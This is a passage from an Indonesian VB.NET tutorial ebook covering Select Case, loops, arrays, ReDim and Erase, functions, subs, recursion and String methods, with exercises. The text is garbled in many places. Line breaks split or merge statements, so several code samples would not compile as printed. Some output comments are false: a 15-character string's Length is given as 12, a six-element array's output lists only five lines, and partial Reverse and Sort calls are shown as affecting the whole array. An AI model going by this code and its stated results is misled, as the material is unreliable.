Console.WriteLine("Selasa")
Case 3
Console.WriteLine("Rabu")
Case 4
Console.WriteLine("Kamis")
Case 5
Console.WriteLine("Jumat")
Case 6
Console.WriteLine("Sabtu")
Case 7
Console.WriteLine("Minggu")
Case Else
Console.WriteLine("No Hari tidak sah")
End Select
End Sub
End Module

Contoh Lain :

Option Explicit On
Imports System
Module ModHari
Sub Main()

INDOPROG 22
Bahasa pemrograman VB.NET Hendra, S.T.

Dim Angka As Integer


Console.Write("Masukkan Angka 1 s/d 9 :") Angka
= Console.ReadLine()
Select Case Angka
Case Is < 1
Console.WriteLine("Terlalu kecil")
Case 1 To 5
Console.WriteLine("Berada antara 1 dan 5") Case
6,7,8,9
Console.WriteLine("Berada antara 6 dan 9")
Case Else
Console.WriteLine("Terlalu besar")
End Select
End Sub
End Module

Perintah For...Next
Salah satu keunggulan komputer dibandingkan dengan manusia adalah dapat
mengerjakan sesuatu secara berulang-ulang tanpa mengalami penurunan kualitas
terhadap hasil kerja.

Salah satu perintah perulangan di Visual Basic ada For…Next Statements yang
merupakan perulangan dengan menggunakan sistem counter dengan menggunakan
syntax sebagai berikut :

For counter [ As datatype ] = start To end [ Step step ]


[ statements ]
[ Exit For ]
[ statements ]
Next [ counter ]

Contoh :

Dim I As Integer
For I = 1 To 100 'Defaultnya Step 1
Console.WriteLine(I)
Next I

Atau

For I As Integer = 1 To 100 'Defaultnya Step 1


Console.WriteLine(I)
Next I

Akan mencetak daftar bilangan 1 s/d 100

Catatan :
Dari segi looping pemakaian :

Dim I As Integer

INDOPROG 23
Bahasa pemrograman VB.NET Hendra, S.T.

For I = 1 To 100 'Defaultnya Step 1


Console.WriteLine(I)
Next I

Tidak berbeda dengan

For I As Integer = 1 To 100 'Defaultnya Step 1


Console.WriteLine(I)
Next I

Tapi jika ditinjau dari lingkup pemakaian variabel, maka variabel I pada contoh pertama
adalah variabel local Sub Main, sedangkan variabel I pada contoh kedua adalah variable local
untuk blok looping.

Contoh :

Dim I As Integer
For I = 1 To 100 'Defaultnya Step 1
Console.WriteLine(I)
Next I
Console.WriteLine(I) 'Akan tercetak 101

Sedangkan

For I As Integer = 1 To 100 'Defaultnya Step 1


Console.WriteLine(I)
Next I
Console.WriteLine(I) 'Terjadi error pada saat kompilasi

Dimana pesan error adalah error BC30451: Name I is not declared.

Dim I As Integer
For I = 1 To 100 Step 2
Console.WriteLine(I)
Next I

Akan mencetak daftar bilangan ganjil 1 s/d 99

Catatan : Step tidak selamanya harus berupa bilangan bulat, tetapi juga dapat berupa
bilangan floating point.

For I As Single = 1 To 10 Step 0.1


Console.WriteLine(I)
Next I

Akan mencetak daftar bilangan 1, 1.1, 1.2, 1.3, …,10

INDOPROG 24
Bahasa pemrograman VB.NET Hendra, S.T.

Bagaimana dengan perulangan dari besar ke kecil ?


Perulangan dari besar ke kecil dapat dilakukan dengan menentukan nilai Step negatif.

Contoh :
For I As Integer = 100 To 1 Step -1
Console.WriteLine(I)
Next I

Akan mencetak daftar bilangan 100, 99. 98, …, 1

Dapatkah anda menerangkan fungsi dan contoh pemakaian Exit For ?


Exit For merupakan perintah keluar dari looping tanpa bersyarat, artinya kalau perintah Exit
For ditemukan maka proses program dilanjutkan ke perintah dibawah Next.

Adapun contoh pemakaian Exit For adalah misalnya kita ingin membuat password
dengan jumlah kesempatan coba sebanyak 3 kali.

Option Explicit On
Imports System
Module ModPass
Sub Main()
Dim I As Integer
Dim Pass As String
For I = 1 To 3 Step 1
Console.Write("Password :")
Pass = Console.ReadLine()
If Pass.ToUpper() ="INDOPROG" Then 'Jika Password Benar
Exit For 'Keluar dari Looping
End If
Next I
If I > 3 Then
Console.WriteLine("Proses Login Gagal !")
Else
Console.WriteLine("Welcome !")
End If
End Sub
End Module

Perintah Do...Loop
Jika perintah For … Next melakukan looping berdasarkan counter, maka perintah Do …
Loop melakukan looping berdasarkan kondisi, adapun tata cara penulisannya adalah
sebagai berikut :

Do { While | Until } condition


[ statements ]
[ Exit Do ]
[ statements ]
Loop

INDOPROG 25
Bahasa pemrograman VB.NET Hendra, S.T.

Atau

Do
[ statements ]
[ Exit Do ]
[ statements ]
Loop { While | Until } condition

Perbedaan antara kedua struktur perulangan diatas adalah posisi pemeriksaan kondisi
yang akan diuji, pada struktur yang pertama pengujian kondisi dilakukan sebelum
statements dikerjakan, sedangkan pada struktur yang kedua pengujuan dilakukan setelah
statement dikerjakan.

Sebagaimana dengan Exit For, perintah Exit Do akan mengakhiri Looping tanpa
bersyarat, yang artinya jika perintah Exit Do ditemukan, maka proses Looping akan
segera dihentikan dan dilanjutkan ke Statement dibawah Loop.

Contoh :

Option Explicit On
Imports System

Module DoLoop
Sub Main()
Dim Dat() As Integer
Dim Jd,DTemp As Integer

Jd = 0
Do
Console.Write("Data Ke-{0} :", Jd+1) DTemp
= Console.ReadLine()
If DTemp <> 0 Then
ReDim Preserve Dat(Jd)
Dat(Jd) = DTemp
Jd+=1
End If
Loop Until DTemp = 0 'Ulangi sampai Dtemp diisi 0

For I As Integer = 0 To Jd-1


Console.WriteLine("Data Ke-{0} adalah {1}",I+1, Dat(I))
Next I

End Sub
End Module

Pada contoh diatas, mula-mula kita mendeklarasikan suatu array tanpa diikuti dengan ukuran,
kemudian proses akan dilanjutkan dengan pembacaan data ke variabel Dtemp, dab jika nilai
Dtemp bukan 0 (nol), maka ukuran array akan dialokasi ulang dengan
perintah ReDim Preserve yang akan mempertahankan isi array, dan pembacaan data akan
terus diulang sampai Dtemp diisi dengan 0 (nol).

INDOPROG 26
Bahasa pemrograman VB.NET Hendra, S.T.

Selain struktur Do…Loop, juga tersedia perintah perulangan dengan tata cara penulisan
sebagai berikut.
While condition
[ statements ]
End While

Pada prinsipnya struktur While … End While sama dengan Do While … Loop.

Perintah For Each...Next


Perintah For Each…Next digunakan untuk melakukan iterasi berdasarkan collection
tertentu, misalnya kita ingin mencetak semua elemen dalam suatu array, penulisan
dengan perintah For Each dapat dilakukan sebagai berikut :

For Each element [ As datatype ] In group


[ statements ]
[ Exit For ]
[ statements ]
Next [ element ]

Contoh :

Option Explicit On
Imports System

Module DoLoop
Sub Main()
Dim Dat() As Integer
Dim Jd,DTemp As Integer

Jd = 0
Do
Console.Write("Data Ke-{0} :", Jd+1) DTemp
= Console.ReadLine()
If DTemp <> 0 Then
ReDim Preserve Dat(Jd)
Dat(Jd) = DTemp
Jd+=1
End If
Loop Until DTemp = 0

For Each Data As Integer In Dat


Console.WriteLine("Data pada array {0}", Data)
Next

End Sub
End Module

Array pada Visual Basic merupakan collection pada System.Array, sehingga pemakaian
perintah For Each akan mendapatkan elemen 0 s/d element terakhir dari array.

INDOPROG 27
Bahasa pemrograman VB.NET Hendra, S.T.

Latihan :

1. Buatlah program mencetak tabel perkalian 1x1 = 1 s/d 10 x 10 = 100

Option Explicit On
Imports System
Public Module ModKali

Sub Main()

Dim i, j As Byte

For i = 1 To 10
For j = 1 to 10
Console.WriteLine("{0,3} x {1,3} = {2,3}",i,j,i*j) Next
j
Next i

End Sub

End Module.

2. Buatlah program untuk konversi data desimal ke binary dengan pemakaian


operator bit shift

Option Explicit On
Imports System
Module ModBiner
Sub Main()
Dim D As Integer
Dim I As Short
Console.Write("Bilangan Desimal :") D =
Console.ReadLine()
For I = 15 to 0 Step -1
If ((D >> I) And 1) = 1 Then
Console.Write(1)
Else
Console.Write(0)
End If
Next
End Sub
End Module

3. Buatlah program yang menentukan bilangan bulat yang dimasukan


pemakai Genap atau Ganjil.
4. Buatlah program yang menentukan tahun yang dimasukan pemakai
termasuk tahun Kabisat atau bukan.
5. Buatlah program yang mencetak barisan bilangan fibonacci sesuai dengan
jumlah suku yang ditentukan oleh pemakai.
6. Buatlah program yang menentukan bilangan bulat yang dimasukan
pemakai Prima atau bukan.

INDOPROG 28
Bahasa pemrograman VB.NET Hendra, S.T.

7. Buatlah program yang dapat mencetak faktor prima dari suatu bilangan
bulat (Contoh 100 = 2 x 2 x 5 x 5)

INDOPROG 29
Bahasa pemrograman VB.NET Hendra, S.T.

Array pada Visual Basic


Deklarasi variabel Array

Sebagaimana yang telah disinggung pada bagian 1 bahwa tipe data pada Visual Basic
terbagai atas dua kelompok yaitu Value Type dan Reference.

Suatu array merupakan Reference Type yang mengandung banyak variabel-variabel yang
dapat diakses satu persatu sesuai dengan urutannya dalam array, dimana indexnya
dimulai dari 0. Variabel-variabel yang terkandung dalam array disebut juga elemen dari array,
dan semuanya harus memiliki tipe yang sama. Setiap tipe array mewarisi (inherits) semua
member yang dideklarasikan pada System.Array.

Pada contoh berikut ini mendeklarasikan suatu array integer berdimensi tunggal,
memberi nilai pada masing-masing elemen array, dan mencetak-nya.:

Module Test
Sub Main()
Dim arr(5) As Integer
Dim i As Integer
For i = 0 To arr.GetUpperBound(0)
arr(i) = i * i
Next i
For i = 0 To arr.GetUpperBound(0)
Console.WriteLine("arr(" & i & ") = " & arr(i)) Next i
End Sub
End Module

Program diatas akan menghasilkan output:

arr(0) = 0
arr(1) = 1
arr(2) = 4
arr(3) = 9
arr(4) = 16

Array dapat juga diberi nilai awal pada saat deklarasi dengan penulisan sebagai berikut:

Private a As Integer() = { 0, 2, 4, 6, 8 }

Atau penulisan yang sama adalah dengan :

Private a As Integer() = new Integer() { 0, 2, 4, 6, 8 }

Pada contoh berikut membuat array dua dimensi 5 x 2 :

INDOPROG 30
Bahasa pemrograman VB.NET Hendra, S.T.

Private b As Integer(,) = { { 0, 1 }, { 2, 3 }, { 4, 5 }, { 6, 7 }, { 8, 9 } }

Sama dengan deklarasi berikut:

Private b(4, 1) As Integer

Dan diikuti dengan pemberian nilai berikut :

b(0, 0) = 0 : b(0, 1) = 1
b(1, 0) = 2 : b(1, 1) = 3
b(2, 0) = 4 : b(2, 1) = 5
b(3, 0) = 6 : b(3, 1) = 7
b(4, 0) = 8 : b(4, 1) = 9

Member pada Class Array


Setiap array pada Visual Basic mewarisi member yang terdefinisi pada Class Array,
adapun beberapa member tersebut adalah sebagai berikut ini :

Length Mendapatkan jumlah elemen dalam Array (Integer 32-bit)


LongLength Mendapatkan jumlah elemen dalam Array (Integer 64-bit)
Rank Mendapatkan jumlah dimensi dalam Array

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr(3,3) As Integer

Sub Main()
Console.WriteLine(Arr.Length()) '16
Console.WriteLine(Arr.LongLength()) '16
Console.WriteLine(Arr.Rank()) '2
End Sub

End Module

GetLength Mendapatkan jumlah elemen dalam Array pada dimensi


tertentu (Integer 32-bit)
GetLongLength Mendapatkan jumlah elemen dalam Array pada dimensi
tertentu (Integer 64-bit)

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr

INDOPROG 31
Bahasa pemrograman VB.NET Hendra, S.T.

Public Arr(3,3) As Integer

Sub Main()
Console.WriteLine(Arr.GetLength(0)) '4
Console.WriteLine(Arr.GetLongLength(0)) '4
End Sub

End Module

GetLowerBound Mendapatkan nilai index batas bawah Array pada dimensi


tertentu.
GetUpperBound Mendapatkan nilai index batas atas Array pada dimensi
tertentu.

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr(3,3) As Integer

Sub Main()
Console.WriteLine(Arr.GetLowerBound(0)) '0
Console.WriteLine(Arr.GetUpperBound(0)) '3
End Sub

End Module

IndexOf Mendapatkan index paling awal dari nilai tertentu pada Array 1
dimensi.
LastIndexOf Mendapatkan index paling akhir dari nilai tertentu pada Array 1
dimensi.

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr() As Integer = {0,1,2,3,4,3,2,1,0}

Sub Main()
Console.WriteLine(Array.IndexOf(Arr,3)) '3
Console.WriteLine(Array.LastIndexOf(Arr,3)) '5
End Sub

End Module

Reverse Membalik urutan element dalam suatu Array 1 dimensi.

Option Explicit On

INDOPROG 32
Bahasa pemrograman VB.NET Hendra, S.T.

Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr() As Integer = {0,1,2,3,4}

Sub Main()
Dim I As Integer
For I = Arr.GetLowerBound(0) To Arr.GetUpperBound(0)
Console.Write(Arr(I)) '01234
Next I
Console.WriteLine()
Array.Reverse(Arr,0,4)
For I = Arr.GetLowerBound(0) To Arr.GetUpperBound(0)
Console.Write(Arr(I)) '43210
Next I
End Sub

End Module

Sort Mengurut elemen dalam suatu Array 1 dimensi.

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr() As Integer = {0,4,3,1,2}

Sub Main()
Dim I As Integer
For I = Arr.GetLowerBound(0) To Arr.GetUpperBound(0)
Console.Write(Arr(I)) '04312
Next I
Console.WriteLine()
Array.Sort(Arr,0,4)
For I = Arr.GetLowerBound(0) To Arr.GetUpperBound(0)
Console.Write(Arr(I)) '01234
Next I
End Sub

End Module

BinarySearch Mencari Nilai tertentu pada suatu Array dengan algoritma


Binary Search.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr() As Integer = {0,4,3,1,2}

Sub Main()
Dim Nilai = 3

INDOPROG 33
Bahasa pemrograman VB.NET Hendra, S.T.

Array.Sort(Arr,0,4)
Console.WriteLine(Array.BinarySearch(Arr,Nilai)) '2
End Sub

End Module

Perintah Visual Basic untuk Array

Visual Basic menyediakan berbagai perintah khusus untuk pengolahan string sebagai
berikut ::

Perintah ReDim

Perintah ReDim digunakan untuk mendefinisi ulang jumlah elemen pada Array dengan atau
tanpa mempertahankan data array sebelumnya.

ReDim [ Preserve ] name(boundlist)

Preserve
Sifatnya optional, jika digunakan maka data pada array tersebut akan
dipertahankan pada array ukuran baru

Contoh :

Pada contoh berikut menggunakan perintah ReDim untuk mengalokasi ualang ukuran
variabel array.

Dim I, MyArray() As Integer ' Declare variable and array variable.


ReDim MyArray(5) ' Allocate 6 elements.
For I = 0 To UBound(MyArray)
MyArray(I) = I ' Initialize array.
Next I

Perintah berikut mengubah ukuran array tanpa mempertahankan isi elemennya..

ReDim MyArray(10) ' Resize to 11 elements.


For I = 0 To UBound(MyArray)
MyArray(I) = I ' Initialize array. Next
I

Perintah berikut mengubah ukuran dari array dengan mempertahankan isi elementnya.

ReDim Preserve MyArray(15) ' Resize to 16 elements.

Contoh berikut mengalokasi ulang array sesuai dengan data yang dimasukan pemakai :

Option Explicit On
Imports System

Module DoLoop

INDOPROG 34
Bahasa pemrograman VB.NET Hendra, S.T.

Sub Main()
Dim Dat() As Integer
Dim Jd,DTemp As Integer

Jd = 0
Do
Console.Write("Data Ke-{0} :", Jd+1) DTemp
= Console.ReadLine()
If DTemp <> 0 Then
ReDim Preserve Dat(Jd)
Dat(Jd) = DTemp
Jd+=1
End If
Loop Until DTemp = 0 'Ulangi sampai Dtemp diisi 0

For I As Integer = 0 To Jd-1


Console.WriteLine("Data Ke-{0} adalah {1}",I+1, Dat(I))
Next I

End Sub
End Module

Perintah Erase

Perintah Erase digunakan untuk membebaskan array dan memory yang digunakan
elemennya, dengan tata cara penulisan sebagai berikut :

Erase arraylist

Catatan

Perintah Erase akan memberikan nilai Nothing ke variabel array.

Contoh

Pada contoh berikut menggunakan perintah Erase untuk membebaskan memori dua array
(1000 dan 100 tempat elemen yang bersesuaian). Kemudian menggunakan perintah
ReDim untuk memberikan ukuran baru untuk ketiga dimensi dari array.

Dim Int3DArray(9, 9, 9), Int2DArray(9, 9) As Integer


' ...
Erase Int3DArray, Int2DArray
' ...
ReDim Int3DArray(4, 4, 9)

Module Array pada Namespace Microsoft.VisualBasic

INDOPROG 35
Bahasa pemrograman VB.NET Hendra, S.T.

Pengolahan data array dapat juga menggunakan beberapa fungsi bantu yang berkaitan
dengan array yang tersedia pada Namespace Microsoft.VisualBasic, berikut ini adalah
beberapa fungsi bantu tersebut :

Fungsi IsArray

Mengembalikan nilai Boolean yang menunjukan apakah suatu variabel menunjuk pada
suatu array.

Pada contoh ini fungsi IsArray memeriksa apakah variabel-variabel mengacu pada suatu
array.

Dim MyArray(4), YourArray(3) As Integer ' Declare array variables.


Dim MyString As String
Dim MyCheck As Boolean
MyCheck = IsArray(MyArray) ' Returns True.
MyCheck = IsArray(YourArray) ' Returns True.
MyCheck = IsArray(MyString) ' Returns False.

LBound Function

Mengembalikan index terendah untuk dimensi tertentu dari suatu array

Pada contoh berikut menggunakan fungsi LBound untuk mendapatkan index terendah
suatu dimensi dari array.

Dim Lowest, MyArray(10, 15, 20), AnyArray(6) as Integer


Lowest = LBound(MyArray, 1) ' Returns 0.
Lowest = LBound(MyArray, 3) ' Returns 0.
Lowest = LBound(AnyArray) ' Returns 0.

Suatu Exception/Error akan terjadi kalau kondisi berikut ini ditemukan :

Exception type Error number Condition


ArgumentNullException 9 Array is Nothing.
RankException 9 Rank < 1 or Rank is greater
than the rank of Array.

Fungsi UBound

Mengembalikan index yang terbesar dari suatu dimensi pada array.

Pada contoh berikut menggunakan fungsi Ubound untuk menentukan index yang terbesar dari
suatu dimensi pada array.

Dim Highest, MyArray(10, 15, 20), AnyArray(6) as Integer

INDOPROG 36
Bahasa pemrograman VB.NET Hendra, S.T.

Highest = UBound(MyArray, 1) ' Returns 10.


Highest = UBound(MyArray, 3) ' Returns 20.
Highest = UBound(AnyArray) ' Returns 6.

Catatan :
Untuk memanfaatkan fungsi IsArray, Lbound dan Ubound anda perlu mencantumkan

Imports Microsoft.VisualBasic

Pada awal program

Latihan :

1. Buatlah program yang menbaca sejumlah data dari pemakain, dan menampilkan
kembali dalam keadaan berurut dari kecil ke besar, nilai total, rata-rata, nilai
terbesar, dan nilai yang terkecil dengan pemanfaatan array.
2. Perbaiki program diatas untuk menampilkan kembali dalam keadaan berurut dari
besar ke kecil.
3. Tambahkan kemampuan program untuk mencari suatu nilai yang dimasukan dan
menampilkan posisinya dalam array.
4. Buatlah program yang mencetak suatu segitiga Pascal.

INDOPROG 37
Bahasa pemrograman VB.NET Hendra, S.T.

Fungsi dan Sub


Perintah Function
Dalam pembuatan program yang besar, tentu saja harus dikembangkan secara terstruktur
sehingga program menjadi lebih mudah dikembangkan dan dimaintenance. Salah satu usaha
yang dapat dilakukan adalah memecah program menjadi kesatuan logika yang lebih kecil
dimana proses yang sama dikelompokan menjadi sub program yang diberi nama, dan dapat
dipanggil pada saat yang dibutuhkan.

Pemakaian function digunakan untuk proses maupun rumus yang perlu mengembalikan
nilai kepada pemanggil, adapun tata cara penulisan function adalah sebagai berikut :
Function name[(arglist)] [ As type ]
[ statements ]
[ Exit Function ]
[ statements ]
End Function

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module GenapGanjil
Function IsGenap(x As Long) As Boolean If (x
Mod 2) = 0 Then
Return True
Else
Return False
End If
End Function

REM program utama


Sub Main()
Dim bil As Long
Console.Write("Masukan Bilangan :") bil
= Console.ReadLine()
If IsGenap(bil) Then
Console.WriteLine("Bilangan {0} adalah Genap",bil)
Else
Console.WriteLine("Bilangan {0} adalah Ganjil",bil)
End If
End Sub

End Module

Defaultnya parameter pada function dikirim secara ByVal, kadang-kadang kita


menginginkan proses yang dapat mengembalikan lebih dari satu nilai yang mana dapat
dipenuhi dengan menggunakan parameter yang dikirim secara ByRef.

INDOPROG 38
Bahasa pemrograman VB.NET Hendra, S.T.

Misalnya kita ingin menghitung akar persamaan kuadrat dengan menggunakan rumus ABC.
Yang mana X1 dan X2 yang kemungkinan akar imaginier, dimana function akan
mengembalikan suatu nilai true (ada solusi) atau false (tidak ada solusi).

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module AkarKuadrat
Function CariAkar(A as Long, B as Long ,C As Long, _
ByRef X1 as single ,ByRef X2 as single) As Boolean Dim D
as Long
D = B^2 - 4*A*C
If D < 0 Then 'Akar Imaginier
Return False 'Tidak ada solusi
Else
X1 = (-B + Math.Sqrt(D))/(2*A) 'argumen X1
X2 = (-B - Math.Sqrt(D))/(2*A) 'argumen X2
Return True 'Ada solusi
End If
End Function

REM program utama


Sub Main()
Dim A,B,C As Long
Dim X1,X2 As Single
Console.WriteLine("Mencari akar persamaan kuadrat")
Console.Write("Masukan A :")
A = Console.ReadLine()
Console.Write("Masukan B :")
B = Console.ReadLine()
Console.Write("Masukan C :")
C = Console.ReadLine()
If CariAkar(A,B,C,X1,X2) Then
Console.WriteLine("Akar X1={0} X2={1}",X1,X2)
Else
Console.WriteLine("Akar imaginier")
End If
End Sub
End Module

Catatan :

Perintah Return digunakan untuk mengembalikan nilai ke pemanggil, dan jika suatu Exit
Function digunakan, maka function akan mengembali nilai defaut berupa 0 for Byte, Char,
Decimal, Double, Integer, Long, Short, and Single; Nothing for Object, String, and all
arrays; False for Boolean; and #1/1/0001 12:00 AM# for Date.

Jika kita perlu melewatkan suatu array sebagai argumen pada function, maka dapat
digunakan keyword ParamArray untuk melewatkan nilai array secara by value, contoh :

INDOPROG 39
Bahasa pemrograman VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Function sumArray(ByVal Paramarray Dat() As Byte)
Dim Total As Long = 0
For I As Integer = 0 To UBound(Dat)
Total += Dat(I)
Next I
Return Total
End Function

Dim Digit() As Byte = {0,1,2,3,4,5} Sub


Main()
Console.WriteLine(sumArray(Digit))
End Sub
End Module

Sub Statement
Pada bagian sebelumnya kita telah membahas tentang function dan pemakaiannya,
selanjutnya kita akan melihat Sub yang menyerupai Function, dimana perbedaannya
adalah jika function digunakan untuk proses yang mengembalikan nilai kepada
pemanggil, sedangkan Sub cenderung digunakan untuk proses yang tidak mengembalikan
nilai.

Sub name [(arglist)]


[ statements ]
[ Exit Sub ]
[ statements ]
End Sub

Catatan :

Sebagaimana function, sebenarnya sub juga dapat digunakan untuk proses yang
mengembalikan nilai melalui argumen yang dikirim secara ByRef.

Jika Exit Sub digunakan, maka Sub akan kembali ke pemanggil secara tidak bersyarat.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module ModArr
Public Arr() As Integer
Public Jd As Byte

Sub BacaJd()
Console.Write("Masukkan Jumlah Data :") Jd
= Console.ReadLine()
End Sub

Sub BacaData()

INDOPROG 40
Bahasa pemrograman VB.NET Hendra, S.T.

ReDim Arr(Jd-1)
For I As Byte = 0 To UBound(Arr)
Console.Write("Data Ke -{0} :",I+1)
Arr(I) = Console.ReadLine()
Next I
End Sub

Sub CariRataRata()
Dim Total As Long = 0
For I As Byte = 0 To UBound(Arr)
Total +=Arr(I)
Next I
Console.WriteLine("Nilai Rata-rata : {0}",Total/Jd)
End Sub

Sub Main()
BacaJd()
BacaData()
CariRataRata()
End Sub

End Module

Teknik Rekursi pada Visual Basic

Dalam matematika, kita sering menjumpai formula yang mengandung rekursi, misalnya
pada perhitungan nilai faktorial dari suatu bilangan yang dapat diformulasikan sebagai
berikut :

N! = N x (N-1)!

Dimana 1! = 1.

Sehingga secara pemrograman komputer dapat ditulis sebagai berikut :

Option Explicit On
Imports System
Public Module modFak
Function Fak(N as Byte)
If (N > 1) Then
Return N * Fak(N-1)
Else
Return 1
End If
End Function

Sub
Main()
Console.WriteLine("Faktorial dari {0} adalah {1}",5,Fak(5))
End Sub
End Module

Latihan :

INDOPROG 41
Bahasa pemrograman VB.NET Hendra, S.T.

1. Buatlah function IsKabisat yang akan mengembalikan nilai True jika tahun yang
dikirim sebagai argumen adalah Kabisat, dan False jika sebaliknya.
2. Buatlah function IsPrima yang akan mendeteksi apakah suatu bilangan yang
diberikan adalah Prima atau tidak.
3. Dengan pemanfaatan teknik rekursi, buatlah function yang dapat menghitung
suku yang ke n dari barisan fibonacci.
4. Buatlah program yang mencetak faktor prima dari suatu bilangan dengan
pemanfaatan Sub secara rekursi.

INDOPROG 42
Bahasa pemrograman VB.NET Hendra, S.T.

String
Variabel string pada Visual Basic disimpan sebagai urutan dari angka 16-bit (2 byte)
yang memiliki jangkauan dari 0 sampai 65535. Masing-masing angka merupakan suatu
karakter tunggal Unicode. Suatu string dapat mengandung sampai dengan 2 Milyar (2^31)
karakter Unicode.

128 kode pertama (0-127) dari Unicode berkaitan dengan huruf dan simbol pada
keyboard standard U.S yang mana sama dengan karakter set yang terdefinisi pada ASCII,
kemudian 128 karakter berikutnya (128-255) merupakan karakter spesial, seperti huruf
alphabet Latin, accent, simbol mata uang, dan pecahan. Kemudian karakter sisianya
digunakan untuk berbagai simbol, termasuk karakter teksual didunia, dan simbol teknis,
dan metematika.

Pada dasarnya String pada Visual Basic mengacu pada String Class.

Contoh :

Option Explicit On
Imports System
Public Module modStr
Dim Nama As String = "Hendra Soewarno" Sub
Main()
Console.WriteLine(Nama.ToUpper())
Console.WriteLine(Nama.ToLower())
End Sub

End Module

Pada contoh diatas akan mencetak HENDRA SOEWARNO dan hendra soewarno.

Member pada Class String

Semua string di Visual Basic memiliki member sebagai berikut yang dapat digunakan
untuk melakukan pengolahan data String.

Public Properties

Chars Mendapatkan karakter pada posisi tertentu string.


Length Mendapatkan jumlah character dalam string

Contoh :

Option Explicit On
Imports System
Public Module modStr

INDOPROG 43
Bahasa pemrograman VB.NET Hendra, S.T.

Dim Nama As String = "Hendra Soewarno" Sub


Main()
Console.WriteLine(Nama.Chars(0)) 'Akan mencetak H
Console.WriteLine(Nama.Chars(1)) 'Akan mencetak e
Console.WriteLine(Nama.Chars(2)) 'Akan mencetak n
Console.WriteLine(Nama.Length()) 'Akan mencetak 12
End Sub

End Module

Public Methods

PadLeft Mengisi spasi atau karakter lain disebelah kiri string sampai string
mencapai panjang tertentu.

PadRight Mengisi spasi atau karakter lain disebelah kanan string sampai
string mencapai panjang tertentu.

ToLower Mengembalikan string yang telah diubah ke huruf kecil

ToUpper Mengembalikan string yang telah diubah ke huruf besar

Trim Mengembalikan string dengan membuang spasi didepan dan


belakang string

TrimEnd Mengembalikan string dengan membuang spasi dibelakang string

TrimStart Mengembalikan string dengan membuang spasi didepan string

Substring Mengembalikan bagian dari string

Contoh :

Option Explicit On
Imports System
Public Module modStr
Dim Nama As String = "Hendra Soewarno"
Dim Kota As String = " Medan "
Sub Main()
Console.WriteLine(Nama.PadLeft(20,"-")) '-----Hendra Soewarno
Console.WriteLine(Nama.PadRight(20,"-")) 'Hendra Soewarno-----
Console.WriteLine(Nama.ToLower()) 'hendra soewarno
Console.WriteLine(Nama.ToUpper()) 'HENDRA SOEWARNO
Console.WriteLine(Kota.TrimEnd()) '____Medan
Console.WriteLine(Kota.TrimStart()) 'Medan_____

INDOPROG 44
Bahasa pemrograman VB.NET Hendra, S.T.

Console.WriteLine(Kota.Trim()) 'Medan
Console.WriteLine(Nama.SubString(3,3)) 'dra
End Sub
End Module

Insert Menyisip string ke dalam string sekarang


pada posisi tertentu.
Remove Menghapus sejumlah karakter dalam
string
Replace Mengantu sejumlah karakter dengan
string pada string sekarang

Contoh :

Option Explicit On
Imports System
Public Module modStr
Dim Nama As String = "Santo" Sub
Main()
Console.WriteLine(Nama.Insert(1,"us")) 'Susanto
Console.WriteLine(Nama.Remove(0,1)) 'anto
Console.WriteLine(Nama.Replace("o","i")) 'Santi
End Sub
End Module

IndexOf Mengembalikan posisi awal suatu string


pada string sekarang mulai dari posisi
tertentu

IndexOfAny Mengembalikan posisi awal suatu string


pada string sekarang.

LastIndexOf Mengembalikan posisi akhir suatu string


pada string sekarang sekarang mulai dari
posisi tertentu

LastIndexOfAny Mengembalikan posisi akhir suatu string


pada string sekarang.
StartsWith Mendapatkan apakah string dimulai
dengan string tertentu.
EndsWith Mendapatkan apakah string diakhir
dengan string tertentu.

Contoh :

Option Explicit On
Imports System
Public Module modStr
' 0 1 2
' 012345678901234567890123456
Dim Nama As String = "ebook karya Hendra Soewarno"

INDOPROG 45
Bahasa pemrograman VB.NET Hendra, S.T.

Sub
Main()
Console.WriteLine(Nama.StartsWith("e")) 'True
Console.WriteLine(Nama.StartsWith("a")) 'False
Console.WriteLine(Nama.EndsWith("o")) 'True
Console.WriteLine(Nama.EndsWith("i")) 'False
End Sub
End Module

Option Explicit On
Imports System
Public Module modStr
' 0 1 2
' 012345678901234567890123456
Dim Nama As String = "ebook karya Hendra Soewarno"
Sub Main()
Console.WriteLine(Nama.IndexOfAny("e")) '0
Console.WriteLine(Nama.LastIndexOfAny("e")) '21
Console.WriteLine(Nama.IndexOf("e",2)) '13
Console.WriteLine(Nama.LastIndexOf("e",15)) '13
End Sub
End Module

Module String pada Namespace Microsoft.VisualBasic

Selain pengolahan data string dengan menggunakan String Member, Visual Basic juga
menyediakan berbagai fungsi bantu yang terdefinisi pada Namespace
Micorosoft.VisualBasic, berikut ini adalah beberapa fungsi bantu yang dapat digunakan
untuk pengolahan data string.

Asc(x), mengembalikan nilai ASCII dari huruf pertama dalam string x

AscW(x), mengembalikan nilai ASCII dari huruf pertama dalam string x

Chr(x), mengembalikan character dari suatu nilai ASCII x

ChrW(x), , mengembalikan character dari suatu nilai ASCII x

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Console.WriteLine(Asc("H")) '72
Console.WriteLine(AscW("H")) '72
Console.WriteLine(Chr("72")) 'H
Console.WriteLine(ChrW("72")) 'H
End Sub

End Module

INDOPROG 46
Bahasa pemrograman VB.NET Hendra, S.T.

Len(x), mengembalikan panjang string x dalam karakter.

Lcase(x), mengembalikan string yang telah diubah menjadi huruf kecil.

Ucase(x), mengembalikan string yang telah diubah menjadi huruf besar.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic
Public Module modStr
Sub Main()
Dim Nama As String = "Hendra Soewarno"
Console.WriteLine(Len(Nama)) '15
Console.WriteLine(LCase(Nama)) 'hendra soewarno
Console.WriteLine(UCase(Nama)) 'HENDRA SOEWARNO
End Sub

End Module

